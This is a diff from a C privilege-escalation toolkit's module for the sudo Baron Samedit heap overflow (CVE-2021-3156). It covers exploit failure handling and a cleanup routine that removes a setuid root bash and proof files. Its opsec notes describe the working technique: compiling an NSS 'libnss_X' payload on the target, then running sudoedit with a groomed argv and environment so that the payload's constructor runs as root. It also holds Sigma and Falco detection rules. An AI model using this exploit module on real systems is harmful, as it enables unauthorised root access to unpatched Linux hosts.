fprintf(stderr, - "[-] sudo_samedit: child died on signal %d " - "(likely sudo SIGSEGV from the overflow) — trigger fired\n" - " but landing did not produce a root shell. Per-distro\n" - " offset tuning required.\n", - WTERMSIG(status)); - } - } else if (WIFEXITED(status)) { - if (!ctx->json) { - fprintf(stderr, - "[-] sudo_samedit: child exited %d — trigger did not\n" - " crash sudo; the host is most likely patched at the\n" - " parser level even though the version string was in\n" - " range. Reporting EXPLOIT_FAIL.\n", - WEXITSTATUS(status)); - } - } - - /* Best-effort free. */ - free(argv[2]); - for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]); + if (!ctx->json) + fprintf(stderr, "[-] sudo_samedit: no root artifact after primary + sweep — " + "honest EXPLOIT_FAIL. Host is likely backport-patched, or the " + "libc heap layout needs lengths outside the swept range " + "(see blasty brute.sh for a wider search).\n"); return SKELETONKEY_EXPLOIT_FAIL; } @@ -413,15 +450,15 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx) { - (void)ctx; - /* sudoedit creates "~/.sudo_edit_*" temp files on the way through. - * Best-effort unlink of any obvious crumbs left by our trigger. */ - if (!ctx->json) { - fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n"); - } - if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) { - /* harmless — likely no files matched */ + if (!ctx->json) + fprintf(stderr, "[*] sudo_samedit: removing artifacts + scratch dir\n"); + if (samedit_proof[0]) unlink(samedit_proof); + if (samedit_rootbash[0]) unlink(samedit_rootbash); + if (samedit_workdir[0]) { + char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", samedit_workdir); + if (system(rm) != 0) { /* ignore */ } } + if (system("rm -rf /tmp/.sudo_edit_* 2>/dev/null") != 0) { /* ignore */ } return SKELETONKEY_OK; } @@ -446,7 +483,8 @@ static const char sudo_samedit_sigma[] = " Detects sudoedit (or sudo invoked as sudoedit) executed with the\n" " -s flag and a command-line argument ending in a lone backslash —\n" " the canonical Qualys trigger for the heap overflow in\n" - " plugins/sudoers/sudoers.c set_cmnd().\n" + " plugins/sudoers/sudoers.c set_cmnd(). A libnss_X/ directory in the\n" + " caller's CWD is a strong corroborating artifact.\n" "logsource:\n" " product: linux\n" " service: auditd\n" @@ -472,14 +510,12 @@ static const char sudo_samedit_sigma[] = " - attack.t1068\n" " - cve.2021.3156\n"; -/* ---- Module registration ----------------------------------------- */ - static const char sudo_samedit_falco[] = "- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n" " desc: |\n" " sudoedit invoked with -s and one or more args ending in '\\'.\n" " The parser's unescape loop walks past the argv string into\n" - " adjacent stack/env, overflowing the heap buffer.\n" + " adjacent env, overflowing the heap buffer.\n" " CVE-2021-3156. False positives: extraordinarily rare;\n" " legitimate sudoedit usage does not need trailing backslashes.\n" " condition: >\n" @@ -491,10 +527,12 @@ static const char sudo_samedit_falco[] = " priority: CRITICAL\n" " tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n"; +/* ---- Module registration ----------------------------------------- */ + const struct skeletonkey_module sudo_samedit_module = { .name = "sudo_samedit", .cve = "CVE-2021-3156", - .summary = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)", + .summary = "sudo Baron Samedit heap overflow via sudoedit -s → NSS libnss_X hijack → root (blasty)", .family = "sudo", .kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)", .detect = sudo_samedit_detect, @@ -505,7 +543,7 @@ const struct skeletonkey_module sudo_samedit_module = { .detect_sigma = sudo_samedit_sigma, .detect_yara = NULL, .detect_falco = sudo_samedit_falco, - .opsec_notes = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.", + .opsec_notes = "Compiles a small NSS payload on the target (needs cc/gcc), then execs sudoedit with argv = { 'sudoedit','-s','AAAA…\\','\\','BBBB…\\' } and an env of N backslashes + 'X/P0P_SH3LLZ_' + a padded LC_ALL, from a CWD holding libnss_X/'P0P_SH3LLZ_ .so.2'. The set_cmnd() unescape overflow overwrites a glibc NSS service_user so the subsequent lookup dlopen's the payload, whose constructor runs while sudo is root. Very audit-visible: execve(sudoedit) with -s + trailing-backslash argv, an unusual all-backslash environ, and a libnss_X/ dir in CWD. Grooming lengths are libc-family specific; a miss sweeps null_stomp_len. Artifacts: root-owned proof + setuid bash under /tmp (removed by cleanup()); scratch build dir is scrubbed during the run. Misses may SIGSEGV sudo (dmesg).", .arch_support = "any", };